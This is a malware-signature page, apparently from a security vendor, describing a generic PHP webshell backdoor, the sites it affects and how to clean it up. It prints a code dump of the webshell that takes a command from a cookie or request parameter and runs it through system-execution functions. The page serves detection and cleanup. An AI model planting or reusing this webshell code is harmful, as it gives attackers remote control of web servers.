Malware Signatures

  1. Home
  2. Malware Signatures
  3. php.backdoor.generic-webshell.001.34

php.backdoor.generic-webshell.001.34

Backdoors are pieces of code that allow attackers to bypass authentication, maintain their access to the server and reinfect files. Some of those malicious files can be as simple as a single line of code, allowing the execution of remote code, or complex algorithms, providing different functions to the attacker.

This is generic detection of common webshells. Webshell allows unauthorized access and control of an affected system by a remote attacker. Using them, attacker is able to run set of commands for various actions such as file manipulation, system information gathering and similar.

Affecting

Any PHP based web site (often through outdated WordPress, Joomla, osCommerce, Magento, Drupal and stolen passwords).

Cleanup

Cleanup is done by deleting the malicious file, which can be found in your system by searching for the dump code below inside your files. Reviewing access logs for non-expected HTTP POSTs can point out the possible infected files.
You can also sign up with us and let our team remove the malware for you.

Dump

Part of webshell allowing to run commands directly on the infected system:

if($c==="which superfetch 1> /dev/null 2> /dev/null && echo OK")
{
echo "OKn";
}
elseif(@strstr($c,"superfetch"))
{
$a=@explode(' ',$c);
x_superfetch($a[1],$a[2],$a[3],$a[4]);
}
elseif(has_passthru){x_passthru($c);}
elseif(has_system){x_system($c);}
elseif(has_shell_exec){x_shell_exec($c);}
elseif(has_popen){x_popen($c);}
elseif(has_proc_open){x_proc_open($c);}
elseif(has_exec){x_exec($c);}
}
//go
$n='XERATUTA';
$c=$_COOKIE[$n];
if(@empty($c)){$c=$_POST[$n];}
if(@empty($c)){$c=$_GET[$n];}
if(@get_magic_quotes_gpc()){$c=stripslashes($c);}
x_smart_exec($c);